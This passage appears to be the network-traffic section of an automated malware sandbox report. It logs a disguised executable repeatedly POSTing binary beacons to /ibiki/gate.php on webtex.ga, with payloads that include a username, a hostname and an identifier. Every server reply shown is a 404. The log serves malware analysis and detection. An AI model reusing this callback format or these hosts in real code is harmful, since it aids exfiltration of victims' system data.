Dec 3, 2020 10:02:51.278279066 CET	241	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:02:51.322457075 CET	242	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:05:08 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
62	192.168.2.3	49781	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:02:51.534735918 CET	242	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:02:51.551362991 CET	243	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:02:51.601372957 CET	243	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:05:08 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
63	192.168.2.3	49782	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:02:51.849829912 CET	244	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:02:51.866547108 CET	244	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:02:51.905245066 CET	244	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:05:09 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
64	192.168.2.3	49783	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:02:52.137412071 CET	245	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:02:52.155184031 CET	245	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:02:52.196885109 CET	246	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:05:09 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
65	192.168.2.3	49784	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:02:52.444505930 CET	247	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:02:52.463078976 CET	247	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:02:52.504973888 CET	247	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:05:09 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
66	192.168.2.3	49785	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:02:52.774910927 CET	248	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:02:52.791559935 CET	248	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:02:52.833587885 CET	249	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:05:10 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
67	192.168.2.3	49786	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:02:53.118413925 CET	249	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:02:53.135096073 CET	250	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:02:53.234137058 CET	251	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:05:10 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
68	192.168.2.3	49788	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:02:53.460521936 CET	253	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:02:53.477176905 CET	253	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:02:53.519107103 CET	253	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:05:10 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
69	192.168.2.3	49789	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:02:53.749877930 CET	261	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:02:53.766536951 CET	265	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:02:53.808731079 CET	266	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:05:11 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
7	192.168.2.3	49716	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:02:31.827446938 CET	74	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:02:31.844048977 CET	74	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:02:31.881911039 CET	74	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:04:49 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
70	192.168.2.3	49790	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:02:54.121372938 CET	266	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:02:54.138052940 CET	267	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:02:54.179342031 CET	267	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:05:11 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
71	192.168.2.3	49791	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:02:54.407059908 CET	268	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:02:54.423680067 CET	268	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:02:54.467418909 CET	268	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:05:11 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
72	192.168.2.3	49792	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:02:55.055545092 CET	269	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:02:55.072428942 CET	269	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:02:55.114170074 CET	270	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:05:12 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
73	192.168.2.3	49793	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:02:55.316097975 CET	271	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:02:55.332911015 CET	271	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:02:55.375067949 CET	271	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:05:12 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
74	192.168.2.3	49794	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:02:56.857682943 CET	272	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:02:56.874429941 CET	272	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:02:56.919630051 CET	273	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:05:14 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
75	192.168.2.3	49795	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:02:57.187963009 CET	273	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:02:57.204700947 CET	274	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:02:57.247361898 CET	274	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:05:14 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
76	192.168.2.3	49796	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:02:57.510315895 CET	275	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:02:57.526989937 CET	275	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:02:57.671838045 CET	275	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:05:14 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
77	192.168.2.3	49797	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:02:57.913058996 CET	276	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:02:57.931202888 CET	276	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:02:57.976095915 CET	277	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:05:15 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
78	192.168.2.3	49798	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:02:58.226167917 CET	277	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:02:58.242902040 CET	278	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:02:58.284836054 CET	278	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:05:15 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
79	192.168.2.3	49799	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:02:58.533427000 CET	279	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:02:58.553422928 CET	279	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:02:58.594890118 CET	279	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:05:15 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
8	192.168.2.3	49717	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:02:32.151700974 CET	75	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:02:32.168423891 CET	75	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:02:32.212960958 CET	76	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:04:49 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
80	192.168.2.3	49800	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:02:58.817428112 CET	280	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
